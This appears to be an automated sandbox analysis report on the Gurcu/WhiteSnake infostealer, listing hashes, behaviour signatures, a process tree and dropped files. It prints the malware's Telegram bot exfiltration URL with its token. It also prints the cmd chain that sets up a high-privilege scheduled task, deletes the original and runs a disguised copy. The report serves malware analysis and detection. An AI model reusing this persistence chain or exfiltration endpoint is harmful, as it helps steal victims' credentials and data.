Analysis

  • max time kernel
    10s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14-09-2023 10:16

General

  • Target

    k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe

  • Size

    339KB

  • MD5

    1cab66a5c15f97f040fb23d354d04a9c

  • SHA1

    f0dbebd22b2c7bfedbefa4435b345c58416f9448

  • SHA256

    d71329c78c704ee9cc7133761b5e738a315e7eb784e348d7743a8a7366724e9f

  • SHA512

    a5508a75a0a7c747cc50fe8284b9097e1cb9ae83bd7e80553ffa875a6d07d6eec7fc18f66a0a328aa0614c26642d884bfe152e6c09a11eeb0d64f6be66064eab

  • SSDEEP

    3072:gdrpN/JlLKd5hkad0lk0vGJGMlngDBXrkhamyeFykt9sxc8eTRLUvenjLM/zNlgl:0UGPUvva+lxXY6uXAJMI9bAV0D

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot6193093056:AAHzyNGUGS9aUG6CCx6ENLoXpCFLzEQywIQ/sendMessage?chat_id=1098292643

Signatures

  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 8 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe
    "C:\Users\Admin\AppData\Local\Temp\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2552
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "k2fef4820980d3c2c1f2cce2f95e94f5e1c18" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe" &&START "" "C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2800
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:1780
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1
          3⤵
          • Runs ping.exe
          PID:2468
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "k2fef4820980d3c2c1f2cce2f95e94f5e1c18" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:2672
        • C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe
          "C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Modifies system certificate store
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:2484

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      304B

      MD5

      174c291360c37eb18856993e912d04f1

      SHA1

      13df7cc258e54ed5b94540da34a6ecffc4c5b2ac

      SHA256

      2ef279e1bd898e2a94f3d249b6185604cd93c2534a606d15a6dab8374d9a8c18

      SHA512

      eca442a238534848e27a292f73bf40863884205e64c189144d8ef18228c4c22142c6759ad65958e29a1d9641e44fb76ad1cae0d55cd0a7ae10c985da163b8112

    • C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe

      Filesize

      339KB

      MD5

      1cab66a5c15f97f040fb23d354d04a9c

      SHA1

      f0dbebd22b2c7bfedbefa4435b345c58416f9448

      SHA256

      d71329c78c704ee9cc7133761b5e738a315e7eb784e348d7743a8a7366724e9f

      SHA512

      a5508a75a0a7c747cc50fe8284b9097e1cb9ae83bd7e80553ffa875a6d07d6eec7fc18f66a0a328aa0614c26642d884bfe152e6c09a11eeb0d64f6be66064eab

    • C:\Users\Admin\AppData\Local\TeamViewer\k2fef4820980d3c2c1f2cce2f95e94f5e1c18.exe

      Filesize

      339KB

      MD5

      1cab66a5c15f97f040fb23d354d04a9c

      SHA1

      f0dbebd22b2c7bfedbefa4435b345c58416f9448

      SHA256

      d71329c78c704ee9cc7133761b5e738a315e7eb784e348d7743a8a7366724e9f

      SHA512

      a5508a75a0a7c747cc50fe8284b9097e1cb9ae83bd7e80553ffa875a6d07d6eec7fc18f66a0a328aa0614c26642d884bfe152e6c09a11eeb0d64f6be66064eab

    • C:\Users\Admin\AppData\Local\Temp\Cab6D76.tmp

      Filesize

      61KB

      MD5

      f3441b8572aae8801c04f3060b550443

      SHA1

      4ef0a35436125d6821831ef36c28ffaf196cda15

      SHA256

      6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

      SHA512

      5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

    • C:\Users\Admin\AppData\Local\Temp\Tar6E82.tmp

      Filesize

      163KB

      MD5

      9441737383d21192400eca82fda910ec

      SHA1

      725e0d606a4fc9ba44aa8ffde65bed15e65367e4

      SHA256

      bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

      SHA512

      7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

    • memory/2484-9-0x0000000000340000-0x000000000039C000-memory.dmp

      Filesize

      368KB

    • memory/2484-10-0x000007FEF4FA0000-0x000007FEF598C000-memory.dmp

      Filesize

      9.9MB

    • memory/2484-11-0x00000000004C0000-0x0000000000540000-memory.dmp

      Filesize

      512KB

    • memory/2552-0-0x0000000000CC0000-0x0000000000D1C000-memory.dmp

      Filesize

      368KB

    • memory/2552-1-0x000007FEF5990000-0x000007FEF637C000-memory.dmp

      Filesize

      9.9MB

    • memory/2552-2-0x000000001B450000-0x000000001B4D0000-memory.dmp

      Filesize

      512KB

    • memory/2552-5-0x000007FEF5990000-0x000007FEF637C000-memory.dmp

      Filesize

      9.9MB